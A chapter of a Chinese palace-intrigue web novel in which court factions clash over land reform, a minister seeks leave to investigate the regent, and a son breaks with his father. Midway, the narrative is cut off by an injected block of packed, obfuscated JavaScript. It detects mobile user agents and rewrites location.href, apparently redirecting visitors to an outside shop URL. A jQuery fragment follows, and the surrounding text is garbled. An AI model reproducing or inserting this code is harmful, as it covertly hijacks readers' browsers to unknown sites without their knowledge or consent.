罢朝的第四日清晨，天色阴沉得仿佛要滴下水来。
大雪封城，寒风如刀，却远不及午门外那股肃杀之气。
世家大族们依旧用沉默对抗着新政，没有一个人愿意出面配合丈量土地。
沈砚顶着户部侍郎的头衔，拿着新拟定的《清丈司章程》在风雪中站了整整两个时辰。
他的玄色官服早已被雪水浸透，冻得僵硬，但他握着名册的手却稳如磐石。
他知道，单靠一纸公文根本撬不动那些盘根错节的利益集团，必须找到突破口。
“沈大人，”裴蕴撑着一把油纸伞，悄无声息地出现在他身侧。
月白色的锦袍上沾了些许雪花，他却浑然不觉，只是将一份名册递了过去。
“这是我昨夜从工部旧档里翻出来的，江南三大粮商名下隐匿田产的初步线索。他们之所以敢封仓逼宫，就是吃准了朝廷不敢动他们的根基。”
沈砚接过名册，指尖触到上面还带着体温的纸张，抬眼看向裴蕴。
这个单纯温润的公子哥，明明可以安安稳稳地做个富贵闲人，却偏偏要蹚这趟浑水。
“你父亲……知道了吗？”沈砚低声问。
裴蕴垂下眼帘，长长的睫毛遮住了眼底的情绪：“父亲只说，工部只管营造之事，不管朝堂党争。但他让我跟着你，‘多看，少说’。”
沈砚心中了然。
工部尚书的立场依旧暧昧不明，既不倒向摄政王，也不靠拢女帝。
裴蕴现在的举动，与其说是帮妣夏，不如说是在替工部试探风向。
但沈砚不介意，只要这把刀能用就行。
“好。”沈砚将名册收入袖中，目光投向远处巍峨的宫殿，“等陛下召见，我会把这些东西呈上去。裴大人，多谢。”
裴蕴摇了摇头，嘴角扬起一抹温润的笑意：“不用谢我。”
话音未落，长乐殿方向突然传来一声凄厉的惨叫，划破了风雪的宁静。
“砰——！”
伴随着重物坠地的闷响，一名身穿青色官服的御史大夫重重撞在了午门的红墙上，随后呕出一大口鲜血，瘫软在地。
紧接着，十几名白发苍苍的世家家老齐刷刷地跪倒在雪地中，以头抢地，哭嚎声震天动地。
“陛下昏聩！重用寒门竖子，毁我百年祖制啊！”
“祖宗基业，不可毁于妇人之手！臣等愿死谏！”
冲突，在这一刻被彻底推向了最高潮。
这不是普通的抗议，这是世家大族在用命做筹码，逼迫皇权低头。
御书房内，炭火烧得极旺，却驱不散空气中的凝重。
妣夏坐在案后，肩上缠着的绷带已经被换过两次。
她听着外面传来的阵阵哀嚎，深褐色的眼眸里没有一丝波澜。
妣夏知道，这是太后和摄政王联手抛出的最后一张底牌——用道德绑架皇权，用流血逼迫妥协。
谢瑾言站在她身侧，手里拿着一份大理寺连夜审出的口供，脸色比窗外的天色还要阴沉。
“刺客招了，是太后身边的大太监指使的，但背后的主谋……”谢瑾言顿了顿，声音压得极低。
“指向了摄政王府，而外面这些死谏的老臣，有一半的子孙都在摄政王的私军中任职。”
妣夏并不意外。
她端起茶盏抿了一口，目光落在谢瑾言紧蹙的眉心上：“所以，你今天来找我，不只是为了汇报这件事。”
谢瑾言沉默了片刻，忽然单膝跪下，行了一个极为郑重的大礼。
“臣请旨，彻查摄政王在京城外的三处隐秘庄园。臣怀疑，那里藏着他私蓄的死士和赃款。只要查出实证，外面的死谏便是不攻自破的闹剧。”
这是要把刀直接架在摄政王的脖子上。
一旦查实，便是谋逆的重罪。
妣夏看着他，眼底闪过一丝复杂的情绪。
她知道谢瑾言这么做是为了保护她，也是为了彻底清除太后和摄政王的势力。
但这一步棋走得太险，稍有不慎，就会万劫不复。
“谢瑾言，”她放下茶盏，声音轻柔却带着不容置疑的威严，“你知道你在做什么吗？你这是在逼摄政王提前动手。”
“臣知道。”谢瑾言抬起头，那双深棕色的眼眸直视着她，里面燃烧着近乎疯狂的火焰。
“但如果臣不动手，下一次射向陛下的箭，就不会再被挡住了。臣宁可死在摄政王的刀下，也绝不允许任何人伤害陛下分毫。”
妣夏的心猛地揪紧。
她站起身，走到他面前，伸手轻轻抚平他眉间的褶皱。
“好。”她轻声说，“朕给你这个权力，但你要记住，你不是一个人在战斗。沈砚和陈拙已经在外面铺路了，林妙音也在宫里替你稳住人心。你只需要做你最擅长的事——把那些藏在暗处的毒蛇，一条一条地揪出来。”
谢瑾言闭上眼睛，感受着她的指尖传来的温度。
过了许久，他才睁开眼，眼底的风暴已经化作了无尽的坚定。
“臣，遵旨。”
与此同时，城郊的废弃矿场。
陈拙光着膀子，满脸都是黑色的煤灰，正指挥着一群工匠往巨大的土窑里添柴。
水泥的研制已经到了最关键的时刻，只要能在三天内烧出足够数量的合格品，就能立刻加固京城的城防，彻底粉碎摄政王可能发动的兵变。
“温度不够！再加柴！”陈拙嘶哑着嗓子大喊。
就在这时，一阵急促的马蹄声由远及近。卫青阳骑着马冲进矿场，翻身下马时差点摔倒。
他一把抓住陈拙的胳膊，喘着粗气问：“怎么样了？到底能不能行？宫里快顶不住了！”
陈拙抹了一把脸上的汗水，咧嘴一笑：“快了！最多明天早上，第一批砖就能出炉！”
卫青阳长长地松了一口气，整个人靠在冰冷的墙壁上滑坐下来。
他刚才一路狂奔，生怕赶不上进度。
他知道，妣夏现在最需要的就是时间，而他作为武将，能做的只有拼命为她争取每一分每一秒。
“青阳，”陈拙蹲下身，拍了拍他的肩膀，“别太紧张，有我们在，不会让陛下失望的。”
卫青阳点了点头，目光望向京城的方向。
他想起了昨晚在御书房外听到的动静，想起了谢瑾言在里面，自己却被赶出来的夜晚。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572000|204831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卫青阳不知道他们在说什么，但他知道，那个男人正在用他自己的方式守护着她。
“我不会输给他。”卫青阳低声喃喃，像是在对陈拙说，又像是在对自己说。
陈拙愣了一下，随即明白了什么。
他笑了笑，没有说话，只是默默地拿起铁锹，继续往窑炉里添柴。
当晚，丞相府的书房。
谢衡端坐在太师椅上，面前的案几上放着一盏早已凉透的茶。
他没有点灯，整个书房笼罩在一片浓重的阴影之中。
门被轻轻推开，谢瑾言走了进来。
他身上的绯色官服还没来得及换，袖口处隐约可见干涸的血迹。
“父亲。”谢瑾言躬身行礼，姿态恭敬到了极点。
谢衡没有让他起身，只是静静地看了他许久，才缓缓开口：“你最近，对陛下的态度似乎软了。”
这句话像是一把淬了毒的匕首，精准地刺入了谢瑾言的心脏。
谢瑾言的身体微微僵了一下，但很快恢复了平静。
他抬起头，迎上父亲审视的目光，声音平稳得没有一丝波澜：“父亲何出此言？臣身为礼部尚书，为君分忧是本分。”
“本分？”谢衡冷笑了一声，手指轻轻敲击着桌面。
“千秋节宫宴上的刺客，是你亲手斩杀的。大理寺的案子，是你主动要求彻查的。如今连摄政王的庄园都要被你掀个底朝天。瑾言，你什么时候变得这么迫不及待了？”
谢瑾言沉默了片刻，忽然笑了。
那笑容里没有半分温度，只有无尽的冰冷与决绝。
“父亲，”他轻声说，“您教导过儿子，谢家世代为相，当以天下苍生为念。如今太后弄权，摄政王跋扈，世家大族只顾一己之私，置百姓于水火。儿子身为谢家人，难道不该为陛下分忧，为天下除害吗？”
“你这是在诡辩！”谢衡猛地一拍桌子，茶杯震落在地，摔得粉碎。
“你以为我不知道你在打什么算盘？你想借陛下的手除掉摄政王，然后取而代之！你疯了！”
“儿子没有疯。”谢瑾言依旧站着，脊背挺得笔直，像是一柄宁折不弯的剑。
“儿子只是看清了一些事，谢家的荣耀，不该建立在牺牲天下的基础上。如果父亲执意要与太后和摄政王同流合污，那儿子只能……大义灭亲。”
书房内陷入了死一般的沉寂。
谢衡死死地盯着自己的儿子，胸口剧烈地起伏着。
他从未想过，这个从小被他精心培养、寄予厚望的儿子，竟然会说出这样大逆不道的话。
良久，谢衡闭上了眼睛，挥了挥手：“滚出去。”
谢瑾言没有再说话，只是深深地鞠了一躬，转身走出了书房。
当他踏出门槛的那一刻，外面的寒风夹杂着雪花扑面而来。
谢谨言仰起头，任由冰冷的雪片落在脸上，掩盖住眼底一闪而过的痛楚。
他知道，从这一刻起，他与谢家、与整个世家大族，彻底站在了对立面。
谢谨言将背负叛族的骂名，走上那条注定孤独而血腥的道路。
但他不后悔，因为在那条路的尽头，有妣夏在等他。